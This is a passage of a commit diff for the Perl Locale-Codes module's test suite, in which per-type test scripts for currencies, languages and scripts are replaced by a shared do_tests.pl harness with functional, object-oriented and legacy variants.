+++ vendor/perl/dist/cpan/Locale-Codes/t/currency_old.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,36 +4,16 @@
 use strict;
 require 5.002;
 
-my($runtests,$dir,$tdir);
-$::type          = '';
-$::module        = '';
-$::tests         = '';
-
-$::type   = 'currency';
-$::module = 'Locale::Currency';
-
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
-  require "t/testfunc.pl";
-  require "t/vals.pl";
-  require "t/vals_currency.pl";
-  $dir="./lib";
-  $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
-  require "testfunc.pl";
-  require "vals.pl";
-  require "vals_currency.pl";
-  $dir="../lib";
-  $tdir=".";
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
 } else {
-  die "ERROR: cannot find testfunc.pl\n";
+  die "ERROR: cannot find do_tests.pl\n";
 }
 
-unshift(@INC,$dir);
+do_tests('currency','','old');
 
-print "currency (old)...\n";
-test_Func(\&test,$::tests,$runtests);
-
 1;
 # Local Variables:
 # mode: cperl

Added: vendor/perl/dist/cpan/Locale-Codes/t/currency_oo.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/currency_oo.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/currency_oo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('currency','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/do_tests.pl
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/do_tests.pl	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/do_tests.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,370 @@
+#!/usr/bin/perl
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use warnings;
+use strict;
+no strict 'subs';
+no strict 'refs';
+
+my %type = ('country'  => 'Country',
+            'language' => 'Language',
+            'currency' => 'Currency',
+            'script'   => 'Script',
+            'langfam'  => 'LangFam',
+            'langext'  => 'LangExt',
+            'langvar'  => 'LangVar',
+           );
+my $generic_tests;
+
+sub do_tests {
+   my($data_type,$inp_file,$test_type,$codeset,$show_errs) = @_;
+   my $type = $type{$data_type};
+   $::data_type = $data_type;
+   $::test_type = $test_type;
+   $inp_file    = $data_type  if (! $inp_file);
+
+   my($runtests) = shift(@ARGV);
+
+   # Load the test function and the data for the tests
+
+   my($dir,$tdir);
+   if ( -f "t/testfunc.pl" ) {
+     require "./t/testfunc.pl";
+     require "./t/vals_${inp_file}.pl";
+     $dir="./lib";
+     $tdir="t";
+   } elsif ( -f "testfunc.pl" ) {
+     require "./testfunc.pl";
+     require "./vals_${inp_file}.pl";
+     $dir="../lib";
+     $tdir=".";
+   } else {
+     die "ERROR: cannot find testfunc.pl\n";
+   }
+
+   unshift(@INC,$dir);
+
+   $::tests .= $generic_tests  if (! defined($show_errs));
+
+   if ($test_type eq 'old') {
+      $::module = "Locale::$type";
+      eval("use $::module");
+      my $tmp   = $::module . "::show_errors";
+      &{ $tmp }(0);
+   } elsif ($test_type eq 'func') {
+      $::module = "Locale::Codes::$type";
+      eval("use $::module");
+      my $tmp   = $::module . "::show_errors";
+      &{ $tmp }(0);
+   } elsif (defined($codeset)) {
+      eval("use Locale::Codes");
+      $::obj = Locale::Codes->new($data_type,$codeset,$show_errs);
+      $::obj->show_errors(1);
+   } elsif (defined($show_errs)) {
+      eval("use Locale::Codes");
+      $::obj = Locale::Codes->new();
+      $::obj->type($data_type);
+      $::obj->show_errors($show_errs);
+   } else {
+      eval("use Locale::Codes");
+      $::obj = new Locale::Codes $data_type;
+      $::obj->show_errors(0);
+   }
+
+   print "$::data_type [$::test_type]\n";
+   test_Func(\&test,$::tests,$runtests);
+}
+
+sub test {
+   my ($op, at test) = @_;
+   my @ret;
+
+   my $stderr = '';
+   {
+      local *STDERR;
+      open STDERR, '>', \$stderr;
+      @ret = _test($op, at test);
+   }
+
+   if ($stderr) {
+      $stderr =~ s/\n.*//m;
+      chomp($stderr);
+      return $stderr;
+   } else {
+      return @ret;
+   }
+}
+
+sub _test {
+   my    ($op, at test) = @_;
+
+   if ($op eq '2code') {
+      my $code;
+      if ($::obj) {
+         $code = $::obj->name2code(@test);
+      } else {
+         $code = &{ "${::data_type}2code" }(@test);
+      }
+      return ($code ? lc($code) : $code);
+
+   } elsif ($op eq '2name') {
+      if ($::obj) {
+         return $::obj->code2name(@test);
+      } else {
+         return &{ "code2${::data_type}" }(@test)
+      }
+
+   } elsif ($op eq 'code2code') {
+      my $code;
+      if ($::obj) {
+         $code = $::obj->code2code(@test);
+      } else {
+         $code = &{ "${::data_type}_code2code" }(@test);
+      }
+      return ($code ? lc($code) : $code);
+
+   } elsif ($op eq 'all_codes') {
+      my $n;
+      if ($test[$#test] =~ /^\d+$/) {
+         $n = pop(@test);
+      }
+
+      my @tmp;
+      if ($::obj) {
+         @tmp = $::obj->all_codes(@test);
+      } else {
+         @tmp = &{ "all_${::data_type}_codes" }(@test);
+      }
+
+      if ($n  &&  @tmp > $n) {
+         return @tmp[0..($n-1)];
+      } else {
+         return @tmp;
+      }
+
+   } elsif ($op eq 'all_names') {
+      my $n;
+      if ($test[$#test] =~ /^\d+$/) {
+         $n = pop(@test);
+      }
+
+      my @tmp;
+      if ($::obj) {
+         @tmp = $::obj->all_names(@test);
+      } else {
+         @tmp = &{ "all_${::data_type}_names" }(@test);
+      }
+
+      if ($n  &&  @tmp > $n) {
+         return @tmp[0..($n-1)];
+      } else {
+         return @tmp;
+      }
+
+   } elsif ($op eq 'rename') {
+      if ($::obj) {
+         return $::obj->rename_code(@test);
+      } else {
+         return &{ "${::module}::rename_${::data_type}" }(@test)
+      }
+   } elsif ($op eq 'add') {
+      if ($::obj) {
+         return $::obj->add_code(@test);
+      } else {
+         return &{ "${::module}::add_${::data_type}" }(@test)
+      }
+   } elsif ($op eq 'delete') {
+      if ($::obj) {
+         return $::obj->delete_code(@test);
+      } else {
+         return &{ "${::module}::delete_${::data_type}" }(@test)
+      }
+   } elsif ($op eq 'add_alias') {
+      if ($::obj) {
+         return $::obj->add_alias(@test);
+      } else {
+         return &{ "${::module}::add_${::data_type}_alias" }(@test)
+      }
+   } elsif ($op eq 'delete_alias') {
+      if ($::obj) {
+         return $::obj->delete_alias(@test);
+      } else {
+         return &{ "${::module}::delete_${::data_type}_alias" }(@test)
+      }
+   } elsif ($op eq 'replace_code') {
+      if ($::obj) {
+         return $::obj->replace_code(@test);
+      } else {
+         return &{ "${::module}::rename_${::data_type}_code" }(@test)
+      }
+   } elsif ($op eq 'add_code_alias') {
+      if ($::obj) {
+         return $::obj->add_code_alias(@test);
+      } else {
+         return &{ "${::module}::add_${::data_type}_code_alias" }(@test)
+      }
+   } elsif ($op eq 'delete_code_alias') {
+      if ($::obj) {
+         return $::obj->delete_code_alias(@test);
+      } else {
+         return &{ "${::module}::delete_${::data_type}_code_alias" }(@test)
+      }
+   } elsif ($op eq 'codeset') {
+      if ($::obj) {
+         return $::obj->codeset(@test);
+      } else {
+         return &{ "${::module}::codeset" }(@test)
+      }
+   } elsif ($op eq 'type') {
+      if ($::obj) {
+         return $::obj->type(@test);
+      } else {
+         return &{ "${::module}::type" }(@test)
+      }
+   }
+}
+
+$generic_tests = "
+#################
+
+2code
+_undef_
+   _undef_
+
+2code
+   _undef_
+
+2code
+_blank_
+   _undef_
+
+2code
+UnusedName
+   _undef_
+
+2code
+   _undef_
+
+2code
+_undef_
+   _undef_
+
+2name
+_undef
+   _undef_
+
+2name
+   _undef_
+
+###
+
+add
+AAA
+newCode
+   1
+
+2code
+newCode
+   aaa
+
+delete
+AAA
+   1
+
+2code
+newCode
+   _undef_
+
+###
+
+add
+AAA
+newCode
+   1
+
+rename
+AAA
+newCode2
+   1
+
+2code
+newCode
+   aaa
+
+2code
+newCode2
+   aaa
+
+###
+
+add_alias
+newCode2
+newAlias
+   1
+
+2code
+newAlias
+   aaa
+
+delete_alias
+newAlias
+   1
+
+2code
+newAlias
+   _undef_
+
+###
+
+replace_code
+AAA
+BBB
+   1
+
+2name
+AAA
+   newCode2
+
+2name
+BBB
+   newCode2
+
+###
+
+add_code_alias
+BBB
+CCC
+   1
+
+2name
+BBB
+   newCode2
+
+2name
+CCC
+   newCode2
+
+delete_code_alias
+CCC
+   1
+
+2name
+CCC
+   _undef_
+
+";
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
+

Added: vendor/perl/dist/cpan/Locale-Codes/t/errors.1.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/errors.1.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/errors.1.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('country','error','oo','alpha-2',1);
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/errors.2.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/errors.2.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/errors.2.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('country','error','oo',undef,1);
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Deleted: vendor/perl/dist/cpan/Locale-Codes/t/langext.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/langext.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/langext.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,47 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-my($runtests,$dir,$tdir);
-$::type          = '';
-$::module        = '';
-$::tests         = '';
-
-$::type   = 'langext';
-$::module = 'Locale::Codes::LangExt';
-
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
-  require "t/testfunc.pl";
-  require "t/vals.pl";
-  require "t/vals_langext.pl";
-  $dir="./lib";
-  $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
-  require "testfunc.pl";
-  require "vals.pl";
-  require "vals_langext.pl";
-  $dir="../lib";
-  $tdir=".";
-} else {
-  die "ERROR: cannot find testfunc.pl\n";
-}
-
-unshift(@INC,$dir);
-
-print "langext...\n";
-test_Func(\&test,$::tests,$runtests);
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/langext_func.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/langext_func.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/langext_func.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langext','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/langext_oo.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/langext_oo.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/langext_oo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langext','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Deleted: vendor/perl/dist/cpan/Locale-Codes/t/langfam.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/langfam.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/langfam.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,47 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-my($runtests,$dir,$tdir);
-$::type          = '';
-$::module        = '';
-$::tests         = '';
-
-$::type   = 'langfam';
-$::module = 'Locale::Codes::LangFam';
-
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
-  require "t/testfunc.pl";
-  require "t/vals.pl";
-  require "t/vals_langfam.pl";
-  $dir="./lib";
-  $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
-  require "testfunc.pl";
-  require "vals.pl";
-  require "vals_langfam.pl";
-  $dir="../lib";
-  $tdir=".";
-} else {
-  die "ERROR: cannot find testfunc.pl\n";
-}
-
-unshift(@INC,$dir);
-
-print "langfam...\n";
-test_Func(\&test,$::tests,$runtests);
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/langfam_func.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/langfam_func.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/langfam_func.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langfam','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/langfam_oo.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/langfam_oo.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/langfam_oo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langfam','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Deleted: vendor/perl/dist/cpan/Locale-Codes/t/language.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/language.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/language.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,47 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-my($runtests,$dir,$tdir);
-$::type          = '';
-$::module        = '';
-$::tests         = '';
-
-$::type   = 'language';
-$::module = 'Locale::Codes::Language';
-
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
-  require "t/testfunc.pl";
-  require "t/vals.pl";
-  require "t/vals_language.pl";
-  $dir="./lib";
-  $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
-  require "testfunc.pl";
-  require "vals.pl";
-  require "vals_language.pl";
-  $dir="../lib";
-  $tdir=".";
-} else {
-  die "ERROR: cannot find testfunc.pl\n";
-}
-
-unshift(@INC,$dir);
-
-print "language...\n";
-test_Func(\&test,$::tests,$runtests);
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/language_func.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/language_func.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/language_func.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('language','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/t/language_old.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/language_old.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/language_old.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,36 +4,16 @@
 use strict;
 require 5.002;
 
-my($runtests,$dir,$tdir);
-$::type          = '';
-$::module        = '';
-$::tests         = '';
-
-$::type   = 'language';
-$::module = 'Locale::Language';
-
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
-  require "t/testfunc.pl";
-  require "t/vals.pl";
-  require "t/vals_language.pl";
-  $dir="./lib";
-  $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
-  require "testfunc.pl";
-  require "vals.pl";
-  require "vals_language.pl";
-  $dir="../lib";
-  $tdir=".";
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
 } else {
-  die "ERROR: cannot find testfunc.pl\n";
+  die "ERROR: cannot find do_tests.pl\n";
 }
 
-unshift(@INC,$dir);
+do_tests('language','','old');
 
-print "language (old)...\n";
-test_Func(\&test,$::tests,$runtests);
-
 1;
 # Local Variables:
 # mode: cperl

Added: vendor/perl/dist/cpan/Locale-Codes/t/language_oo.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/language_oo.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/language_oo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('language','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Deleted: vendor/perl/dist/cpan/Locale-Codes/t/langvar.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/langvar.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/langvar.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,47 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-my($runtests,$dir,$tdir);
-$::type          = '';
-$::module        = '';
-$::tests         = '';
-
-$::type   = 'langvar';
-$::module = 'Locale::Codes::LangVar';
-
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
-  require "t/testfunc.pl";
-  require "t/vals.pl";
-  require "t/vals_langvar.pl";
-  $dir="./lib";
-  $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
-  require "testfunc.pl";
-  require "vals.pl";
-  require "vals_langvar.pl";
-  $dir="../lib";
-  $tdir=".";
-} else {
-  die "ERROR: cannot find testfunc.pl\n";
-}
-
-unshift(@INC,$dir);
-
-print "langvar...\n";
-test_Func(\&test,$::tests,$runtests);
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/langvar_func.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/langvar_func.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/langvar_func.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langvar','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/langvar_oo.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/langvar_oo.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/langvar_oo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('langvar','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Deleted: vendor/perl/dist/cpan/Locale-Codes/t/script.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/script.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/script.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,47 +0,0 @@
-#!/usr/bin/perl
-
-use warnings;
-use strict;
-require 5.002;
-
-my($runtests,$dir,$tdir);
-$::type          = '';
-$::module        = '';
-$::tests         = '';
-
-$::type   = 'script';
-$::module = 'Locale::Codes::Script';
-
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
-  require "t/testfunc.pl";
-  require "t/vals.pl";
-  require "t/vals_script.pl";
-  $dir="./lib";
-  $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
-  require "testfunc.pl";
-  require "vals.pl";
-  require "vals_script.pl";
-  $dir="../lib";
-  $tdir=".";
-} else {
-  die "ERROR: cannot find testfunc.pl\n";
-}
-
-unshift(@INC,$dir);
-
-print "script...\n";
-test_Func(\&test,$::tests,$runtests);
-
-1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Added: vendor/perl/dist/cpan/Locale-Codes/t/script_func.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/script_func.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/script_func.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('script','','func');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/t/script_old.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/script_old.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/t/script_old.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,36 +4,16 @@
 use strict;
 require 5.002;
 
-my($runtests,$dir,$tdir);
-$::type          = '';
-$::module        = '';
-$::tests         = '';
-
-$::type   = 'script';
-$::module = 'Locale::Script';
-
-$runtests=shift(@ARGV);
-if ( -f "t/testfunc.pl" ) {
-  require "t/testfunc.pl";
-  require "t/vals.pl";
-  require "t/vals_script.pl";
-  $dir="./lib";
-  $tdir="t";
-} elsif ( -f "testfunc.pl" ) {
-  require "testfunc.pl";
-  require "vals.pl";
-  require "vals_script.pl";
-  $dir="../lib";
-  $tdir=".";
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
 } else {
-  die "ERROR: cannot find testfunc.pl\n";
+  die "ERROR: cannot find do_tests.pl\n";
 }
 
-unshift(@INC,$dir);
+do_tests('script','','old');
 
-print "script (old)...\n";
-test_Func(\&test,$::tests,$runtests);
-
 1;
 # Local Variables:
 # mode: cperl

Added: vendor/perl/dist/cpan/Locale-Codes/t/script_oo.t
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/t/script_oo.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Locale-Codes/t/script_oo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+require 5.002;
+
+if ( -f "t/do_tests.pl" ) {
+   require "./t/do_tests.pl";
+} elsif (-f "do_tests.pl") {
+   require "./do_tests.pl";
+} else {
+  die "ERROR: cannot find do_tests.pl\n";
+}
+
+do_tests('script','','oo');
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:

